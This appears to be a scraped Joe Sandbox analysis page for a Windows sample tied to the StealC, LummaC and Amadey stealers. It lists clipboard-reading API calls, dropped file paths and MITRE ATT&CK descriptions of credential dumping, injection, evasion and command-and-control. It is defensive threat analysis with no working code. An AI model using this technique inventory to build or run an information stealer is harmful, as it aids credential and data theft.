Associated: 00000009.00000002.2609929745.0000000072B62000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2609952007.0000000072B65000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2609978469.0000000072B77000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_72b20000_aspnet_regiis.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 00cd9102b1206dbe012bdd8058904fee95d619bd77dd0eb06707bb82c07d8da6
Instruction ID: 37b664868df7cc4637292475d2831320c5bc48b4383e06a8033c2f0c9fc0637a
Opcode Fuzzy Hash: 00cd9102b1206dbe012bdd8058904fee95d619bd77dd0eb06707bb82c07d8da6
Instruction Fuzzy Hash: 86D097322C02047BD220621ECC47F13367C83067A0F10063EF662CF1C2D920A800C161

Non-executed Functions

Function 72B54470 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 111clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 72B54480
GetWindowLongW.USER32 ref: 72B544A5
GetClipboardData.USER32 ref: 72B544B5
GlobalLock.KERNEL32 ref: 72B544D4
GlobalUnlock.KERNEL32 ref: 72B545D2
CloseClipboard.USER32 ref: 72B545DB

Strings

F, xrefs: 72B54539
], xrefs: 72B54566
c, xrefs: 72B54525
G, xrefs: 72B54543
<, xrefs: 72B5454D

Memory Dump Source

Source File: 00000009.00000002.2609887058.0000000072B21000.00000020.00000400.00020000.00000000.sdmp, Offset: 72B20000, based on PE: true

Associated: 00000009.00000002.2609864358.0000000072B20000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2609929745.0000000072B62000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2609952007.0000000072B65000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2609978469.0000000072B77000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_72b20000_aspnet_regiis.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: <$F$G$]$c
API String ID: 2832541153-1818401840
Opcode ID: cfd70a0473ff6a63a8ec732eaa21d5e4b544e02d137827109b9bdb60b6bf86de
Instruction ID: 467d5169584e1118cb61cab70659670ba079d13972e1ccb2a08414a9cc3a8c0d
Opcode Fuzzy Hash: cfd70a0473ff6a63a8ec732eaa21d5e4b544e02d137827109b9bdb60b6bf86de
Instruction Fuzzy Hash: 36418D7140C7818FE342AF3D948830EBFF0AB86224F144E6DE5D98B2C6D6798559CB93

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFCBKFHJJJKKFHIDAAKF

C:\ProgramData\BGIJEGCGDGHDHIDHDGCBGIJKFC

C:\ProgramData\CBFBKFIDHIDGHJKFBGHC

C:\ProgramData\CFIEBKEH

C:\ProgramData\FIECFBAAAFHIIDGCGCBFBAKFHI

C:\ProgramData\JDHIEBFHCAKEHIDGHCBA

C:\ProgramData\JKEGDHCF

Windows Analysis Report
file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre